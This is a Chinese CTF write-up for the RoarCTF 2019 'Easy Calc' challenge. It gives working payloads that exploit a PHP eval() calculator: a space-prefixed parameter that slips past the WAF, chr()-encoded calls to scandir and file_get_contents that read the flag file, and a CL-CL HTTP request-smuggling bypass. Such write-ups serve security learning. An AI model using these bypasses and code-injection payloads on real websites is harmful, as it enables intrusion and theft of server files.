1. 程式人生 > 實用技巧 >[RoarCTF 2019]Easy Calc

[RoarCTF 2019]Easy Calc

0x00 php解析字串特性解題

開啟網頁

看這裡我們知道這是實現的一個網頁計算器,所以不會存在SQL注入。
暫時能想到的沒有其他方向了,所以我們去查詢更多資訊。
檢視網站原始碼,對程式碼進行觀察

看到下面這一行

<!--I've set up WAF to ensure security.-->

我們知道存在過濾,繼續觀察到了下面這一行

url:"calc.php?num="+encodeURIComponent($("#content").val()),

這是一個ajax請求裡面的引數,我們知道存在一個calc.php頁面並且他的傳入引數為num
我們開啟calc.php介面看看

我們看到下面這一行

eval('echo '.$str.';');

可以知道也許存在命令注入漏洞,但是對$str變數進行的如下的過濾

[' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];

那我們先試一下是否存在注入漏洞,因為phpinfo()這個命令中沒有字元存在上面的列表中,構造如下的payload:

/calc.php?num=phpinfo()

結果返回如下

再試試如下payload:

/calc.php?num=1

結果返回如下

由此可知我們有許可權訪問calc.php,但是在上面進行命令注入的時候返回沒有許可權訪問,所以這裡還存在一個過濾WAF
這裡我根據 ?num 猜測只可以傳送數字
我們想辦法Bypass,因為後臺是php寫的
所以首先就想到了php解析符串的特性:

  • 刪除空格
  • 將特殊字元(包括空格)變成 _ (下劃線)

根據這一特性我們可以建立如下的payload:

/calc.php? num=phpinfo()
##注意?後面是空格

根據返回結果,我們可以知道注入的命令被執行了,看來WAF是用php寫的

那為什麼這個payload,注入的命令會被執行?

重點就是?後面的空格
後臺使用php寫的,WAF會檢測前端傳入的
WAF應該制定的規則是num引數只可以傳入數字
然而這裡我們傳入的是 num,而不是num所以不符合WAF的規則,從而繞過WAF
經過WAF後會到後端的calc.php
calc.php中的$GET對傳入的引數進行解析,將 num變成num
所以最後phpinfo()傳入到eval()函式進行執行

接下來我們尋找flag,可以構造如下payload:

/calc.php? num=var_dump(scandir("/"))

突然想起來前面過濾列表裡面存在 /,這裡我們通過ASCII繞過

/calc.php? num=var_dump(scandir(chr(47)))


我們可以看到返回的結果中存在f1agg,flag可能在裡面
繼續構造payload來獲取/f1agg中的內容

/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
## chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)是/f1agg的ASCII編碼形式

得到結果

0x01 http走私

構造payload如下:

/calc.php?num=phpinfo()

並抓包得到如下

修改成如下

傳送後可以返回介面

說明已經執行phpinfo()命令

這裡為什麼會執行?

首先這裡用的是http走私的CL-CL
帶有WAF的代理伺服器接收到請求中存在兩個CL,產生400錯誤使得WAF失效將資料包全部轉給後端伺服器
後端伺服器可以解析成功導致了命令的執行

然後繼續構造如下payload:

/calc.php?num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

利用上面的方法去請求,得到flag